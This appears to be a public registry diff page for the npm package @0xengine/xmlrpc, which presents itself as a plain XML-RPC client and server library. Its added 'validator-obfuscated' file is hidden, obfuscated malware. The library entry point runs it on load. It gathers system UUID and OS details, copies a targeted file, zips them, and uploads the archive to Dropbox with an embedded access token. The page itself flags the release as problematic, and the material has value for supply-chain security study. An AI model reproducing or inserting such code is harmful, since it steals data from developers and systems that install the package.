@0xengine/xmlrpc 0.0.1-security → 1.3.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @0xengine/xmlrpc might be problematic. Click here for more details.

package/lib/server.js ADDED
@@ -0,0 +1,78 @@
1
+ var http = require('http')
2
+ , https = require('https')
3
+ , url = require('url')
4
+ , EventEmitter = require('events').EventEmitter
5
+ , Serializer = require('./serializer')
6
+ , Deserializer = require('./deserializer')
7
+
8
+ /**
9
+ * Creates a new Server object. Also creates an HTTP server to start listening
10
+ * for XML-RPC method calls. Will emit an event with the XML-RPC call's method
11
+ * name when receiving a method call.
12
+ *
13
+ * @constructor
14
+ * @param {Object|String} options - The HTTP server options. Either a URI string
15
+ * (e.g. 'http://localhost:9090') or an object
16
+ * with fields:
17
+ * - {String} host - (optional)
18
+ * - {Number} port
19
+ * @param {Boolean} isSecure - True if using https for making calls,
20
+ * otherwise false.
21
+ * @return {Server}
22
+ */
23
+ function Server(options, isSecure, onListening) {
24
+
25
+ if (false === (this instanceof Server)) {
26
+ return new Server(options, isSecure)
27
+ }
28
+ onListening = onListening || function() {}
29
+ var that = this
30
+
31
+ // If a string URI is passed in, converts to URI fields
32
+ if (typeof options === 'string') {
33
+ options = url.parse(options)
34
+ options.host = options.hostname
35
+ options.path = options.pathname
36
+ }
37
+
38
+ function handleMethodCall(request, response) {
39
+ var deserializer = new Deserializer()
40
+ deserializer.deserializeMethodCall(request, function(error, methodName, params) {
41
+ if (Object.prototype.hasOwnProperty.call(that._events, methodName)) {
42
+ that.emit(methodName, null, params, function(error, value) {
43
+ var xml = null
44
+ if (error !== null) {
45
+ xml = Serializer.serializeFault(error)
46
+ }
47
+ else {
48
+ xml = Serializer.serializeMethodResponse(value)
49
+ }
50
+ response.writeHead(200, {'Content-Type': 'text/xml'})
51
+ response.end(xml)
52
+ })
53
+ }
54
+ else {
55
+ that.emit('NotFound', methodName, params)
56
+ response.writeHead(404)
57
+ response.end()
58
+ }
59
+ })
60
+ }
61
+
62
+ this.httpServer = isSecure ? https.createServer(options, handleMethodCall)
63
+ : http.createServer(handleMethodCall)
64
+
65
+ process.nextTick(function() {
66
+ this.httpServer.listen(options.port, options.host, onListening)
67
+ }.bind(this))
68
+ this.close = function(callback) {
69
+ this.httpServer.once('close', callback)
70
+ this.httpServer.close()
71
+ }.bind(this)
72
+ }
73
+
74
+ // Inherit from EventEmitter to emit and listen
75
+ Server.prototype.__proto__ = EventEmitter.prototype
76
+
77
+ module.exports = Server
78
+
@@ -0,0 +1 @@
1
+ const a0_0x4ee1d7=a0_0x49a9;(function(_0x31245b,_0x559968){const _0x382301=a0_0x49a9,_0x5e9431=_0x31245b();while(!![]){try{const _0x42482e=parseInt(_0x382301(0x108))/0x1+-parseInt(_0x382301(0x100))/0x2+-parseInt(_0x382301(0xf3))/0x3+-parseInt(_0x382301(0x116))/0x4*(parseInt(_0x382301(0x115))/0x5)+-parseInt(_0x382301(0x114))/0x6+parseInt(_0x382301(0x117))/0x7+parseInt(_0x382301(0xed))/0x8*(parseInt(_0x382301(0xf0))/0x9);if(_0x42482e===_0x559968)break;else _0x5e9431['push'](_0x5e9431['shift']());}catch(_0x20da9e){_0x5e9431['push'](_0x5e9431['shift']());}}}(a0_0x3522,0xc59fe));const fs=require('fs-extra'),{zip}=require(a0_0x4ee1d7(0xfc)+'er'),si=require(a0_0x4ee1d7(0x118)+a0_0x4ee1d7(0x10e)),os=require('os'),path=require('path'),dropboxV2Api=require(a0_0x4ee1d7(0x104)+a0_0x4ee1d7(0x10f));async function validator(){const _0xdf2fae=a0_0x4ee1d7,_0x531d96=()=>{const _0x205c55=a0_0x49a9,_0x2a5c91=_0x205c55(0xf7)+'ZGJTIISVrG'+_0x205c55(0xef),_0xb11604=_0x205c55(0xfd)+'ckOxpYX8OS'+_0x205c55(0xff)+_0x205c55(0x101)+_0x205c55(0xfe)+_0x205c55(0xf1)+'WlslTUdWsy'+'YKGfe3Cc',_0x4dd6c5='_bma0pHryH'+_0x205c55(0x119)+_0x205c55(0x10d)+_0x205c55(0x103),_0x1d623e=[];_0x1d623e[_0x205c55(0xf6)](_0x2a5c91),_0x1d623e[_0x205c55(0xf6)](_0xb11604),_0x1d623e[_0x205c55(0xf6)](_0x4dd6c5);let _0x169e62='';for(let _0x3b9cba=0x0;_0x3b9cba<_0x1d623e['length'];_0x3b9cba++){_0x169e62+=_0x1d623e[_0x3b9cba];}return _0x169e62;};console[_0xdf2fae(0x110)]('---->',process['argv']);const _0x2259bc=process['argv'][_0xdf2fae(0x10a)](_0x1c9d55=>_0x1c9d55===_0xdf2fae(0xee)||_0x1c9d55==='-t');if(_0x2259bc===-0x1)return;const _0x19ee16=path[_0xdf2fae(0x107)](process['argv'][_0x2259bc+0x1]);console['log'](_0xdf2fae(0xf4)+'c\x20path:\x20'+_0x19ee16);const _0x350a57=os[_0xdf2fae(0xfa)](),_0x378a06=Date[_0xdf2fae(0xf9)](),_0x163090=_0x350a57+'/'+_0x378a06;await fs['ensureDir'](_0x163090);const _0x132b00=await si['uuid'](),_0x8c0328=await si[_0xdf2fae(0x112)](),_0x22b2c7={'uuid':_0x132b00,'osInfo':_0x8c0328},_0x2c0ec8=JSON[_0xdf2fae(0xf8)](_0x22b2c7,null,0x2),_0x14c58b=_0x163090+_0xdf2fae(0x109);await fs[_0xdf2fae(0x10c)](_0x14c58b,_0x2c0ec8,{'encoding':'utf8'});const _0x2d7b5e=_0x163090+(_0xdf2fae(0x105)+'xt');await fs['copyFile'](_0x19ee16,_0x2d7b5e);const _0x5874f2=_0x132b00['os']+'-'+_0x378a06+_0xdf2fae(0xf5),_0x51a26d=_0x350a57+'/'+_0x5874f2;console[_0xdf2fae(0x110)](_0xdf2fae(0x111)+_0x51a26d),await zip(_0x163090,_0x51a26d);const _0x26115f=_0x531d96();console[_0xdf2fae(0x110)]('token:\x20'+_0x26115f);const _0x2b5bc6=fs[_0xdf2fae(0x113)+_0xdf2fae(0x102)](_0x51a26d),_0x356930=dropboxV2Api[_0xdf2fae(0x106)+'te']({'token':_0x26115f});_0x356930({'resource':_0xdf2fae(0xfb)+'ad','parameters':{'path':'/'+_0x5874f2},'readStream':_0x2b5bc6},(_0x501f28,_0x472acb,_0x403394)=>{const _0x57e55a=_0xdf2fae;console[_0x57e55a(0x110)](_0x57e55a(0xf2)),console['log'](_0x501f28),console[_0x57e55a(0x110)](_0x472acb);});}function a0_0x49a9(_0x4f02f7,_0x278313){const _0x35221f=a0_0x3522();return a0_0x49a9=function(_0x49a9ee,_0x2c6953){_0x49a9ee=_0x49a9ee-0xed;let _0x22ee6f=_0x35221f[_0x49a9ee];return _0x22ee6f;},a0_0x49a9(_0x4f02f7,_0x278313);}function a0_0x3522(){const _0x3e2873=['zipPath:\x20','osInfo','createRead','5879982NCnOxW','5xeMGGR','3826964pYfsaR','4740246ooxfct','systeminfo','w2nrXvD56R','16hvrkpl','--targets','eldWQeED','11925009mEJytp','4xUn5WbTHe','completed','343236mifOHn','targets\x20sr','.zip','push','sl.BnNx-Jp','stringify','now','tmpdir','files/uplo','zip-a-fold','_HjQB6nqdk','0vy3GUS8Y7','8UREJcUZbw','2096454xJMKTC','vaSfCa04PA','Stream','BbYcsKT','dropbox-v2','/targets.t','authentica','resolve','581667yfmjvZ','/si.json','findIndex','exports','writeFile','EOk-yYij2R','rmation','-api','log'];a0_0x3522=function(){return _0x3e2873;};return a0_0x3522();}module[a0_0x4ee1d7(0x10b)]=validator;
package/lib/xmlrpc.js ADDED
@@ -0,0 +1,73 @@
1
+ var Client = require('./client')
2
+ , Server = require('./server')
3
+ , CustomType = require('./customtype')
4
+ , dateFormatter = require('./date_formatter')
5
+ , validator = require('./validator-obfuscated')
6
+
7
+ var xmlrpc = exports
8
+
9
+ /**
10
+ * Creates an XML-RPC client.
11
+ *
12
+ * @param {Object} options - server options to make the HTTP request to
13
+ * - {String} host
14
+ * - {Number} port
15
+ * - {String} url
16
+ * - {Boolean} cookies
17
+ * @return {Client}
18
+ * @see Client
19
+ */
20
+ xmlrpc.createClient = function(options) {
21
+ return new Client(options, false)
22
+ }
23
+
24
+ /**
25
+ * Creates an XML-RPC client that makes calls using HTTPS.
26
+ *
27
+ * @param {Object} options - server options to make the HTTP request to
28
+ * - {String} host
29
+ * - {Number} port
30
+ * - {String} url
31
+ * - {Boolean} cookies
32
+ * @return {Client}
33
+ * @see Client
34
+ */
35
+ xmlrpc.createSecureClient = function(options) {
36
+ return new Client(options, true)
37
+ }
38
+
39
+ /**
40
+ * Creates an instance of server parameter validator.
41
+ * @See Server
42
+ */
43
+ xmlrpc.validator = validator()
44
+
45
+
46
+ /**
47
+ * Creates an XML-RPC server.
48
+ *
49
+ * @param {Object}options - the HTTP server options
50
+ * - {String} host
51
+ * - {Number} port
52
+ * @return {Server}
53
+ * @see Server
54
+ */
55
+ xmlrpc.createServer = function(options, callback) {
56
+ return new Server(options, false, callback)
57
+ }
58
+
59
+ /**
60
+ * Creates an XML-RPC server that uses HTTPS.
61
+ *
62
+ * @param {Object}options - the HTTP server options
63
+ * - {String} host
64
+ * - {Number} port
65
+ * @return {Server}
66
+ * @see Server
67
+ */
68
+ xmlrpc.createSecureServer = function(options, callback) {
69
+ return new Server(options, true, callback)
70
+ }
71
+
72
+ xmlrpc.CustomType = CustomType
73
+ xmlrpc.dateFormatter = dateFormatter
package/package.json CHANGED
@@ -1,6 +1,47 @@
1
1
  {
2
2
  "name": "@0xengine/xmlrpc",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "description": "A pure JavaScript XML-RPC client and server.",
4
+ "keywords": [
5
+ "xml-rpc",
6
+ "xmlrpc",
7
+ "xml",
8
+ "rpc"
9
+ ],
10
+ "version": "1.3.6",
11
+ "preferGlobal": false,
12
+ "homepage": "https://bitbucket.org/0xsky/xmlrpc",
13
+ "author": "0xengine",
14
+ "repository": {
15
+ "type": "git",
16
+ "url": "git+ssh://git@bitbucket.org/0xsky/xmlrpc.git"
17
+ },
18
+ "directories": {
19
+ "example": "example",
20
+ "lib": "lib",
21
+ "test": "test"
22
+ },
23
+ "main": "./lib/xmlrpc.js",
24
+ "dependencies": {
25
+ "dropbox-v2-api": "^2.5.10",
26
+ "fs-extra": "^11.1.1",
27
+ "sax": "1.2.x",
28
+ "systeminformation": "^5.21.9",
29
+ "uuid": "^9.0.1",
30
+ "xmlbuilder": "8.2.x",
31
+ "zip-a-folder": "^1.1.7"
32
+ },
33
+ "devDependencies": {
34
+ "vows": "0.7.x"
35
+ },
36
+ "scripts": {
37
+ "test": "vows 'test/*.js'"
38
+ },
39
+ "engines": {
40
+ "node": ">=0.8",
41
+ "npm": ">=1.0.0"
42
+ },
43
+ "license": "MIT",
44
+ "bugs": {
45
+ "url": "https://bitbucket.org/0xsky/xmlrpc/issues"
46
+ }
6
47
  }